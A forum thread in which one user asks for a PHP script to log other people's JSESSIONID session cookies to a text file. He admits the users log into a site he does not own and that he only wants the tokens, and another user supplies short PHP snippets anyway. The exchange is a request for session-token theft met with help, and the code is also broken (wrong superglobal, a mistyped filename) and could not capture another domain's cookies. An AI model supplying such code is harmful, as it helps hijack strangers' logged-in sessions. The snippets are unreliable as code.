Grab Users JSESSIONID Via PHP Script

[Twix]

Hello, I am just wondering if it is possible to create a PHP script that logs a users JSESSIONID and sends it to a simple .txt file?

 

Thanks a hell of a lot in advance.

How are the JSESSIONID's stored?  I never really worked with them when I coded in Java.  (I never really made JSPs).

[Twix]

Was hoping someone on here could help me with that one

 

lol

[DarkWater]

Are they stored in cookies?  Just check your browser's cookies after setting a JSESSIONID to see if it's there. >_>

[Twix]

Yes they are 

[DarkWater]

What's the cookie's name?  I'd assume it was JSESSIONID, correct?  And how do you want it stored?  I can write you up a quick script if you show me the file naming scheme and data storage format that you want. =)

[Twix]

It is JSESSIONID, correct. I would like them sent to a .txt file when a user clicks a submit button like on a form or something. Thanks a lot for this.

[DarkWater]

Like, are the users logged in already in some way?

[Twix]

Yes, when logged in they are all assigned to a unique JSESSIONID, I would like it so that when the user submits a form, or even just visits the page their JSESSIONID will be recorded.

 

Thanks again.

[DarkWater]

So they're logged in on a JSP?  And you don't just have a database you can store it in?  How do you store their username then so you can associate their JSESSIONID in the files?

 

P.S: I'm now going to abbreviate JSESSIONID as JSI because it's getting annoying to type.

[Twix]

It is not my site they are logging into 

 

But I know that all users are assigned a specific JSI  when logged in and was hoping it was possible to record it.

[DarkWater]

Well, it is possible to record it, but how will you associate it with a user?

[Twix]

Not important. I do not need that information

[Twix]

Can you help? Thanks man I really appreciate you helping me.

[DarkWater]

<?php

$jsi = $_COOKIES['JSESSIONID'];

$current = file_get_contents('log,txt');

$current .= "\n$jsi";

file_put_contents('log.txt', $current);

?>

 

>_>

[Twix]

Ok thanks man! But how would I use this script with html so the jsessionid is posted to the log.txt?

 

Thanks 

[DarkWater]

Just put this snippet at the top of the page:

<?php
if ($jsi = $_COOKIES['JSESSIONID']) {
    $current = file_get_contents('log.txt');
    $new = $current . "\n$jsi";
    file_put_contents('log.txt', $new);
}
?>

 

Slight modification from last time.

[Twix]

Ok great thanks, so this automatically logs it? I'm gonna try it now and I will get back to you, thanks for your time and effort mate

[Twix]

Having trouble getting it to work :/
